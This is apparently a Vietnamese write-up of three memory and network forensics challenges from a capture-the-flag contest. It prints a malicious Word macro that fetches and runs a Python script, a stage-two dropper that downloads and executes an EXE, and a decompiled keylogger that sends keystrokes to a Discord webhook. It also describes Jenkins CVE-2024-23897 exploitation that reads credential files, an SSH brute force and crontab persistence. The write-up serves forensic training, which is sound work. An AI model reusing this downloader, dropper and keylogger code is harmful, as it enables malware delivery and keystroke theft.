# The Spy

**Từ lúc mới bắt đầu chơi CTF đến nay thì đây là challenge đầu tiên mà mình first blood nên mình muốn lưu giữ lại dòng viết này để làm kỹ niệm(như một cột móc đáng nhớ trên đường đua CTF)**


**Giải pháp:**
* Thử thách cho mình 1 file memory nên mình sẽ dùng tool volitality để phân tích kết xuất bộ nhớ:
- Plugin luôn dùng đầu tiên để check là `pstree`:
- 
- Theo như mô tả của đề bài thì dữ liệu của victim bị rò rỉ và có nguy cơ đã bị đánh cắp => mình sẽ tập trung vào các tiến trình của người dùng.
- Thấy khá nhiều tiến trình **chrome** nên ý tưởng mình sẽ dùng grep `history` rồi dump về xem lịch sử trình duyệt web victim:
- 
- Sau khi dump về mình dùng lệnh strings để xem các trình duyệt mà victim đã mở thì thấy 1 đường dẫn với lại có 1 tiến trình khả nghi nữa là **soffice.exe** => khả năng cao file word(.doc) có vấn đề.
- 
- Victim đã tải file này về từ sever của attacker, mình sẽ dùng `filescan` để tìm và dùng plugin `dumpfile` để lấy file về phân tích:
- 
* Đối với những file word(.doc) thì khả năng cao dính mã độc macro nên mình sẽ dùng `olevba` để phân tích:
```vb=1
Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _
ByVal b1BbQ As LongPtr, _
ByVal c1CcQ As String, _
ByVal d1DdQ As String, _
ByVal e1EeQ As Long, _
ByVal f1FfQ As LongPtr) As Long
Public Function b1BbR(c1CcR As String) As String
Dim d1DdR As Integer
Dim e1EeR As Integer
Dim f1FfR As String
If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function
d1DdR = Len(c1CcR)
For e1EeR = 1 To Len(c1CcR)
If e1EeR Mod 2 <> 0 Then
f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2)))
End If
Next
b1BbR = f1FfR
End Function
Sub c1CcS()
Dim d1DdS As String
Dim e1EeS As String
Dim f1FfS As String
Dim g1GgS As String
Dim h1HhS As Long
Dim username As String
username = Environ("USERNAME")
d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"
e1EeS = j2JjS(d1DdS)
f1FfS = b1BbR(e1EeS)
g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py"
h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)
If h1HhS = 0 Then
MsgBox "File downloaded successfully.", vbInformation
' Run the Python script
RunPython
Else
MsgBox "Failed to download file.", vbExclamation
End If
End Sub
Function j2JjS(k2KkS As String) As String
Dim l2LlS As String
Dim m2MmS As Integer
For m2MmS = 1 To Len(k2KkS)
Select Case Asc(Mid(k2KkS, m2MmS, 1))
Case 65 To 77, 97 To 109
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)
Case 78 To 90, 110 To 122
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)
Case Else
l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1)
End Select
Next m2MmS
j2JjS = l2LlS
End Function
Sub RunPython()
Dim PythonExe As String
Dim PythonScript As String
Dim Command As String
Dim username As String
username = Environ("USERNAME")
PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe"
PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py"
Command = PythonExe & " " & PythonScript
Shell Command, vbNormalFocus
End Sub
```
* Phân tích :
- Hàm `Sub c1CcS()` đầu tiên mã hóa ROT13 chuỗi của biến `d1DdS`, sau đó là giải mã hex thành url và tiến hành dowloads file `pp.py` xuống đường dẫn này `C:\Users\" & username & "\AppData\Local\pp.py`
- Hàm `Sub RunPython()` có chức năng là chạy `pp.py`.
* Bây giờ có 2 cách 1 là code, 2 là bỏ lên cyberchef làm cho nhanh:
- Mình sẽ ưu tiên cách làm nhanh nha:
- 
- https://drive.google.com/file/d/1vEsAKDf71dwc3bgBor282kLTasbl33HS/view?usp=sharing
* Vào đường dẫn tải file về phân tích tiếp:
```python=1
import os
import requests
def download_file_from_google_drive(file_id, destination):
URL = "https://docs.google.com/uc?export=download"
session = requests.Session()
response = session.get(URL, params={'id': file_id}, stream=True)
token = get_confirm_token(response)
if token:
params = {'id': file_id, 'confirm': token}
response = session.get(URL, params=params, stream=True)
save_response_content(response, destination)
def get_confirm_token(response):
for key, value in response.cookies.items():
if key.startswith('download_warning'):
return value
return None
def save_response_content(response, destination):
CHUNK_SIZE = 32768
with open(destination, "wb") as f:
for chunk in response.iter_content(CHUNK_SIZE):
if chunk:
f.write(chunk)
def hex_to_binary(hex_str):
return bytes.fromhex(hex_str)
def save_binary_to_file(binary_data, file_path):
with open(file_path, 'wb') as file:
file.write(binary_data)
def reverse_hex_conversion(file_path, output_file):
with open(file_path, 'r') as file:
hex_content = file.read().strip()
binary_data = hex_to_binary(hex_content)
save_binary_to_file(binary_data, output_file)
def run_retrieved_file(file_path):
os.system(file_path)
if __name__ == "__main__":
# Download the file and save it as file_hex.txt
file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0" #1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt
input_file = "file_hex.txt"
download_file_from_google_drive(file_id, input_file)
# Convert hex to binary and save it as L3AK.exe
output_file = "L3AK.exe"
reverse_hex_conversion(input_file, output_file)
# Execute the retrieved file
run_retrieved_file(output_file)
print("File retrieved and executed as L3AK.exe")
```
Nhìn thì thấy hơi dài nhưng đại khá là đang drop xuống 1 file L3AK.exe rồi chạy file thực thi đó, mình sẽ sửa lại xíu code để lấy file thực thi này về:
```python=1
import os
import requests
def download_file_from_google_drive(file_id, destination):
URL = "https://docs.google.com/uc?export=download"
session = requests.Session()
response = session.get(URL, params={'id': file_id}, stream=True)
token = get_confirm_token(response)
if token:
params = {'id': file_id, 'confirm': token}
response = session.get(URL, params=params, stream=True)
save_response_content(response, destination)
def get_confirm_token(response):
for key, value in response.cookies.items():
if key.startswith('download_warning'):
return value
return None
def save_response_content(response, destination):
CHUNK_SIZE = 32768
with open(destination, "wb") as f:
for chunk in response.iter_content(CHUNK_SIZE):
if chunk:
f.write(chunk)
def hex_to_binary(hex_str):
return bytes.fromhex(hex_str)
def save_binary_to_file(binary_data, file_path):
with open(file_path, 'wb') as file:
file.write(binary_data)
def reverse_hex_conversion(file_path, output_file):
with open(file_path, 'r') as file:
hex_content = file.read().strip()
binary_data = hex_to_binary(hex_content)
save_binary_to_file(binary_data, output_file)
if __name__ == "__main__":
# Tải file và lưu nó thành file_hex.txt
file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
input_file = "file_hex.txt"
download_file_from_google_drive(file_id, input_file)
output_file = "L3AK.exe"
reverse_hex_conversion(input_file, output_file)
```
* Sau khi chạy và lấy file `L3AK.exe` thành công thì mình dùng virustotal để xem 1 số thông tin về file này:

* File mã độc này được đóng gói bằng PyInstaller => mình sẽ dùng tool `pyinstxtractor.py` để xuất file `.pyc` ra thôi

Có thể thấy trên ảnh file này được viết bằng version 3.12 nên là mấy tool phổ biến hay dùng không thể decompile được
* Sau 1 hồi tìm kiếm thì có mình thấy được 1 tool [này](https://pylingual.io/) decompile dành cho file version 3.12 :
```python=1
from pynput.keyboard import Listener, Key
from threading import Timer
from dhooks import Webhook
WEBHOOK_URL = 'https://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl'
INTERVAL = 30
hjlkhas = 'aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM='
class Keylogger:
def __init__(self, WB_URL, interval = (30,)):
self.WB_URL = WB_URL
self.interval = interval
self.log = ''
self.special_keys = {
Key.esc: '[ESC]',
Key.backspace: '[BACKSPACE]',
Key.tab: '\t',
Key.enter: '\n',
Key.space: ' ' }
self.current_keys = set()
def _send_info(self, log):
if log != '':
webhook = Webhook(self.WB_URL)
webhook.send(log)
return None
def _key_down(self, key):
pass
# WARNING: Decompyle incomplete
def _key_up(self, key):
if key in self.current_keys:
self.current_keys.remove(key)
return None
def _report(self):
self._send_info(self.log)
self.log = ''
Timer(self.interval, self._report).start()
def run(self):
self._report()
# WARNING: Decompyle incomplete
if __name__ == '__main__':
Keylogger(WEBHOOK_URL, INTERVAL).run()
return None
```
Ban đầu thì mình nghĩ là phải phân tích code mã độc keylogger này để lấy flag
* Nhưng mà để ý 1 xíu thấy biến `hjlkhas` chứa đoạn base64 khả nghi nên mình lấy decode thì kết quả được 1 đường link discord dẫn đến flag =))

https://discord.gg/pswTtUnpJC: tiến hành vào link này và lấy flag thôi.
**Flag:** `L3AK{D1sc0rd_WebH00ks_4re_C001}`
# Pixelated

**Giải pháp:**
* Tiếp tục bài này cũng đi phân tích kết xuất bộ nhớ.
* Như thường lệ dùng plugin `pstree`, nhưng có khá nhiều tiến trình (phần lớn là tiến trình của hệ thống) mà bài này không đề cập gì nhiều nên mình sẽ tiến tục đi phân tích tiến trình người dùng:

Nhìn vào thì có 2 tiến trình khả nghi là msedge.exe và mspaint.exe
* Đối với msedge.exe thì sẽ liên quan đến lịch sử trình duyệt nên mình đã dump thì về nhưng thấy rằng lịch sử đã bị xóa sạch rồi

* Giờ chỉ còn lại là tiến trình mspaint.exe thôi, mình sẽ dùng plugin `memmap` dump tiến trình này về : `python3 vol.py -f memory.raw windows.memmap --dump --pid 5580` tiến hành đổi phần mở rộng lại từ .dmp thành .data rồi dùng tool gimp để xử lí:
* 
Kết quả sau 1 hồi mò mẩm chỉnh thì cũng có được flag
**Flag:** `L3AK{p1x3l_p3rFect!}`
# Impostor

**Giải pháp:**
* Thử thách này cung cấp cho chúng ta 1 file auth.log và 1 file .pcap
* Theo như mình tìm hiểu thì đây là thử thách mô phỏng lại attacker lợi dụng lỗ hổng [CVE-2024-23897](https://www.jenkins.io/security/advisory/2024-01-24/) sử dụng jenkins-cli để thực hiện RCE attack
* Gần luồng giao thức `TCP` thì bên dưới có giao thức `WebSocket` hiểu đơn giản giao thức này cho phép truyền tín hiệu qua lại 2 chiều thông qua cổng `http(s)`

* Phân tích xem giao thức websocket thấy attacker đang lấy 1 số thông tin như `etc/passwd`, `/var/lib/jenkins/secrets/master.key`, /var/lib/jenkins/credentials.xml và cuối stream có chứa 1 phần flag: `1s_0n_3dg`

* Khi khi kết thúc 4 luồng giao thức `WebSocket` thì attacker đang thực hiện chuẩn bị và tiến hành kết nối với victim bằng giao thức `ssh` => ta sẽ đi phân tích file auth.log xem hành vi:
* Hành vi dưới attacker đang thực hiện bruteforce với user là `sparkle` từ ip `192.168.222.151` thông qua giao thức `ssh2`

* Sau khi bruteforce thành công và thực hiện `ssh` vào máy victim giành quyền truy cập thì attacker đã tải xuống máy victim các file độc hại như `data.bin` từ sever attacker bằng tool `jenkins-cli` và dường như đã mã hóa base64 nội dung file `/var/lib/jenkins/secrets/hudson.util.Secret`

* Tiếp theo mình sẽ decode nội dung file data.bin, biết rằng file được mã hóa với base58 `COMMAND=/usr/bin/base58 -d data.bin`

Hành vi file bash(.sh) đang thực hiện kỹ thuật `Persistence` thực hiện chế độ lập lịch thông qua `crontab`
* Ta sẽ decode đoạn base64 biến `job_name` có thêm 1 phần flag: `E_30d84d801b2947f1bd2faae4fdcbb926}`
* Nhiệm vụ cuối cùng là làm sao giải mã đoạn file `hudson.util.Secret` để lấy phần cuối cùng của flag, nội dung file `hudson.util.Secret`:

**ĐỌC THÊM:** https://github.com/L3AK-TEAM/L3akCTF-2024-public/blob/main/forensics/Do-It-Dynamically/solution/Do%20It%20Dynamically%20Walkthrough.pdf